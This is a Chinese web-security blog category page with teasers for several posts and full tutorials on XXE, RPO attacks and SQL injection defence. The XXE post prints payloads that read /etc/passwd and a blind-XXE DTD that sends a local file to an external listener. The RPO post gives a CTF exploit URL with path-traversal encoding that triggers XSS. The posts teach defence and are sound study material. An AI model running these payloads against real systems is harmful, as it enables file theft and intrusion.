分类 WEB 下的文章

Kubernetes中使用Helm2的安全风险

Kubernetes是一个强大的容器调度系统,通常我们会使用一些声明式的定义来在Kubernetes中部署业务。但是当我们开始部署比较复杂的多层架构时,事情往往就会没有那么简单,在这种情况下,我们需要编写和维护多个YAML文件,同时在编写时需要理清各种对象和层级关系。这是一个比较麻烦的事情,所以这个时候Helm出现了。

我们熟悉的Python通过pip来管理包,Node.js使用npm管理包。那么在Kubernetes,我们可以使用Helm来管理。它降低了使用Kubernetes的门槛,对于开发者可以很方便的使用Helm打包,管理依赖关系,使用者可以在自己的Kubernetes通过Helm来一键部署所需的应用。
对于Helm本身可以研究的安全风险可以从很多角度来看比如Charts,Image等,详细的内容可以来看CNCF webinars关于Helm Security的一个分享(https://www.cncf.io/webinars/helm-security-a-look-below-deck/
本篇文章主要讨论的是Helm2的安全风险,因为在Helm2开发的时候,Kubernetes的RBAC体系还没有建立完成,Kubernetes社区直到2017年10月份v1.8版本才默认采用了RBAC权限体系,所以Helm2的架构设计是存在一定安全风险的。Helm3是在Helm2之上的一次大更改,于2019年11月份正式推出,同时Helm2开始退出历史舞台,到2020年的11月开始停止安全更新。但是目前网络上主流依然为关于Helm2的安装配置文章,所以我们这里将对使用Helm2可能造成的安全风险进行讨论。

阅读剩余部分 –

认识 WebAuthn

目前来看,密码认证方式早已成为我们一直采用的最直接的身份认证方式。但是我们应该知道的是很多大型企业都有曾出现过明文密码泄漏的事件,而且随着黑产的不断成长,钓鱼,撞库等等一系列的欺骗攻击行为都在不断涌现。由于很大一部分用户习惯于同一密码用于多个网站,这就导致了一次密码泄漏会牵连多个网站,用户密码认证的体系一直都在面临着很大的挑战。
对此而言,一种新的认证方式也已经出现在我们的视线范围内,WebAuthn在2019年3月成为了W3C推荐标准,同年的BlackHat大会上也有一篇议题专门介绍了WebAuthn,直到目前我们常见的浏览器大部分都已经支持了WebAuthn的标准,如Chrome,Safari等。可以看到各方力量都在联合推动着无密码认证的实现与发展,那么接下来我们就来一起认识一下什么是WebAuthn,以及它是如何工作的。

阅读剩余部分 –

聊聊对目前Passive IAST的思考

之前一直有在研究Java插桩应用于安全防御以及检测方面的东西,主要分为RASP和IAST。IAST又叫交互式应用安全测试,它目前主要分为主动式(Active)和被动式(Passive)两种,上个暑假有机会重点接触了一下Passive IAST的一些研究工作。这里打算简单聊聊,也算是一个总结与思考。不会涉及太多技术细节,简单分享下我对的被动式IAST的应用以及优势还有劣势的看法以及存在的一些问题和新的思路。希望能和大家一起交流探讨。

Passive IAST原理

核心

利用Instrumentation API我们可以提供一个Agent代理用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。简单来说就是在运行的应用中织入一个我们的程序。而在这个程序中我们就拥有了获取当前应用的上下文,在应用运行中实时分析数据流以及调用栈的能力,同时也可以通过ASM对已经加载的class进行分析与修改。

在织入我们检测的逻辑代码后,被动式IAST主要是通过污点跟踪的方法来对漏洞进行检测,因为是实时数据流,所以这里我们称为动态污点传播分析。这是与静态扫描中污点分析的一个小区别,而其优势和劣势也主要在这里。

阅读剩余部分 –

SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。

介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

阅读剩余部分 –

插桩技术在Java安全中的应用简述

介绍

随着信息技术的发展,软件开发技术呈多样性发展趋势,其中Java在开发领域具有一定代表性。软件效率的提高同时增大了漏洞发现与防御的挑战。在当前WAF与静态代码检测都发展迅速的情况下,WAF在一些特殊情况下可能无法正确拦截,而静态检测的缺点在于误报率高。因此需要进行动态交互式监测,由此可以从底层对于攻击向量进行检测或者验证程序中是否实际存在安全漏洞。

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。

目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。接下来会简要介绍该技术以及相关知识内容。

阅读剩余部分 –

由浅入深SpEL表达式注入漏洞

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

阅读剩余部分 –

XXE漏洞原理以及防御方式

前言

web中除了我们熟悉的传参,或者JSON格式实现客户端与服务器之间的数据交流,还有XML的方式,熟悉开发的小伙伴肯定接触过它,比如在SpringMVC中的各种配置。同时XML也是许多使用XML schemas实行数据交换的协议的基础,例如RSS,Atom,SOAP等。
那么在web中使用XML进行数据交互会出现什么安全问题呢,这就是我们这里要讲的XXE漏洞。

XXE漏洞介绍

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。

相关概念以及利用方式

DTD

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:

  1. DTD 内部声明
    <!DOCTYPE 根元素 [元素声明]>

  2. DTD 外部引用
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>

  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

ENTITY

XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "Hello">
    <!ENTITY y "World!">
]>
<root><x>&x;</x><y>&y;</y></root>

屏幕快照 2018-10-09 下午5.49.34

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
屏幕快照 2018-10-09 下午5.51.39

<!ENTITY 实体名称 SYSTEM "URI/URL">
如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

屏幕快照 2018-10-09 下午6.00.55

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
    <!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
    %dtd;
    %send;
]>

evil.dtd 内部的%号要进行实体编码成&#x25
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
>
%all;

屏幕快照 2018-10-09 下午7.06.04

XXE漏洞防御

JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX

1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC

最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
修复代码如:

public String xxe_SAXParser_fix(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
            return "test";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

2.检测/过滤关键词
常见的可以过滤ENTITY,openrasp采用的方式为检测敏感协议和读取的敏感文件。但都存在被绕过的风险。

参考

https://xz.aliyun.com/t/2761
http://www.freebuf.com/column/156863.html
https://resources.infosecinstitute.com/xxe-attacks/
http://skysec.top/2018/08/17/浅析xml及其安全问题/
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://github.com/JoyChou93/java-sec-code

浅析RPO攻击

强网杯学到的一个新姿势。比赛之后研究了下,感觉实际情况下还是比较难利用的,不过这种攻击思路值得学习。


什么是RPO攻击

RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。

就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。

其实猛的一看定义,刚开始我还以为和缓存攻击差不多,其实不一样。简单来理解RPO攻击的原理,我认为就是服务端和客户端(不同模块)对url(请求内容)处理不一致导致的。这也就是上面我说的攻击思路,其实这样的攻击思路在很多web攻击中都用到,比如说二次注入,宽字节注入。

漏洞浅析

差异

这里先用绿盟文章中的案例来了解一下几个关于服务器和客户端浏览器在解析和识别上的差异性基础知识。

第一个差异化

在apache和Nginx环境下,正常情况访问如下:

然后在Apache中将/编码为%2f后,服务器无法识别url,返回404,但是在Nginx中将/编码为%2f后,服务器可以识别编码后的url,返回200:

可见不同web服务器对url的识别是不一样的。

第二个差异化

在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。

但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。

实际上通过测试,客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。

 

我们再来了解一下pathinfo

什么是pathinfo

利用pathinfo解析URL

结果

在pathinfo模式下

http://localhost/index.php?m=Index&a=test 等同于 http://localhost/index.php/Index/test

—-

http://www.xxx.com/index.php/模块/方法

该模式会产生的安全问题–>http://www.jb51.net/article/102156.htm

事实上就是读不到东西会退后直到能读到东西然后解析出来,也就是把读不到的路径当成模块啥的。就好比传了个参数一样,实际加载页面是前面的。

来看下这次强网杯题目来理解

Show your mind

http://39.107.33.96:20000/index.php/view/article/111

可以看到这样的url方式应该是使用了pathinfo模式相当于

http://39.107.33.96:20000/index.php?mod=view&article=763

首先可以看到/index.php/引入了js。

然后一个功能我们可以往生成页面写入任意字符,但是这个页面有限制不能直接执行js,这时候我们就要利用RPO攻击了

首先我们在写入alert(1)

比如写到了http://39.107.33.96:20000/index.php/view/article/111 页面

接着通过构造

http://39.107.33.96:20000/index.php/view/article/111/..%2f..%2f..%2f..%2findex.php 打开网页

jq.js加载了我们构造的js

对于上面的payload实际上,服务端解析为

http://39.107.33.96:20000/index.php/view/article/111/../../../../index.php

所以实际上渲染了index.php页面,而页面中jq是通过相对路径引用的 static/js/jquery.min.js

因为差异性,我们浏览器客户端去找js路径是无法解析%2f的

就把..%2f..%2f..%2f..%2findex.php这当成一个文件,

找jq文件路径就成了http://39.107.33.96:20000/index.php/view/article/111/static/js/jquery.min.js

读到static那,因为找不到就又不读了,所以就直接加载了http://39.107.33.96:20000/index.php/view/article/111/的内容

所以我们的jquery.min.js内容成了alert(1)

 

对于实际场景中的利用:个人感觉还是比较难利用的,也就是说首先网站有可控输出点,然后未声明<!DOCTYPE html>,(声明了就是标准模式(strict mod),未声明就是怪异模式,就是浏览器使用自己的方式解析网页代码。),使用相对引用方式,有的还得配合pathinfo。如果使用{}*{xss:expression(open(alert(1)))}/`也只能在IE6,7成功。当然还有加载Scriptlet方式,不过也有同域限制。


参考:

http://www.jb51.net/article/102156.htm

http://blog.nsfocus.net/rpo-attack/

 

PreparedStatement防止sql注入

今天测试一个demo发现里面有点小问题,代码很规范,其中操作jdbc使用PreparedStatement也很正常,可是测试时候突然发现其采用了字符串追加形式来生产sql语句,这样使用其实直接绕开了PreparedStatement的优点[参数化的查询],从而可以轻易的造成sql注入。


首先我们先认识三个重要的对象

 1.Connection

代表着Java程序与数据库建立的连接。

2.Statement

代表SQL发送器,用于发送和执行SQL语句。

3.ResultSet

代表封装的数据库返回的结果集,用于获取查询结果。

 

上面是demo中的初始化方法和对象的使用,还有读取DbConfig.properties配置文件

什么是sql注入

简单来说就是黑客通过与服务器交互时在创建者没有有效的进行过滤的情况下的一种拼装sql命令来达到改变sql语义进而获取其敏感数据的行为.

 

那么如何进行有效的防御?我们还是在java中围绕这个demo说

它其中判断登陆用户是否成功的方法是这样写的

当我们尝试登陆一个错误用户,flag返回false,正确时返回true

可以看到,这时数据库执行的命令为

因为没有符合的返回,所以flag依然为false

可是当遇到别有用心的人时登陆就不会是这么简单的操作,比如我们执行下面的sql命令,数据库会回应怎样的数据呢?

可以看一下

返回了两个用户的信息,这也不用怎么解释,前面两个值与and返回为false而之后配一个or 1=1 也就相当于执行了

所以攻击者可以配合这样的语法来进行任意用户登陆,如 密码输入为

rs next了两次自然返回true

所以如何避免呢,在java中,Java提供了 Statement、PreparedStatement 和 CallableStatement三种方式来执行查询语句,其中 Statement 用于通用查询,PreparedStatement 用于执行参数化查询,而 CallableStatement则是用于存储过程。

其中PreparedStatement就是可以有效防止常见的sql注入的一种方法

PreparedStatement是java.sql包下面的一个接口,用来执行SQL语句查询,通过调用 connection.preparedStatement(sql) 方法可以获得PreparedStatment对象。数据库系统会对sql语句进行预编译处理(如果JDBC驱动支持的话),预处理语句将被预先编译好,这条预编译的sql查询语句能在将来的查询中重用,这样一来,它比Statement对象生成的查询速度更快。

PreparedStatement与Statement区别

Statement是PreparedStatement的父类,作为 Statement 的子类,PreparedStatement 继承了 Statement 的所有功能。

Statement不对sql语句作处理而直接交给数据库;而PreparedStatement支持预编译,对于多次重复执行的sql语句,使用PreparedStament使代码的执行效率,代码的可读性和可维护性更高,PreparedStament提高了代码的安全性,防止sql注入。

安全性 效率 开销 可读性 维护性

prepareStatement

高,预编译 容易

Statement

容易发生sql注入 低,每一次编译 不容易

 

如何使用PreparedStatement

1:字符串追加形式的PreparedStatement

2:使用参数化查询的PreparedStatement


使用PreparedStatement的参数化的查询可以阻止大部分的SQL注入。在使用参数化查询的情况下,数据库系统(eg:MySQL)不会将参数的内容视为SQL指令的一部分来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有破坏性的指令,也不会被数据库所运行。

对于刚才的例子,可以看到它使用的是第一种方式这样其实就跟使用了Statement一样,这样的优点是代码少打几行可是代价也是很高的。如果我们改成第二种,PreparedStatement会对’进行转义,sql将其作为一个参数一个字段的属性值来处理,从而使得注入攻击失败

简单来说预编译会给你外面加引号并且过滤特殊字符

 

补充:避免SQL注入的第二种方式:
在组合SQL字符串的时候,先对所传入的参数做字符取代(将单引号字符取代为连续2个单引号字符,因为连续2个单引号字符在SQL数据库中会视为字符中的一个单引号字符。)

可以看出使用拼凑字符追加型的sql生成形式能更方便灵活的自定义控制sql语句,但如果没有进行有效的过滤很容易造成sql注入,所以建议使用参数化查询的PreparedStatement,用PreparedStatement代替Statement。

【注意】占位符只能占位SQL语句中的普通值,决不能占位表名、列名、SQL关键字(select、insert等)。所以如果使用动态表名,字段,就只能向上面案例那样使用非预编译方法,不过这样显然很容易导致注入。


参考:

http://www.importnew.com/5006.html

http://blog.csdn.net/changyinling520/article/details/71159652

http://blog.csdn.net/daijin888888/article/details/50965232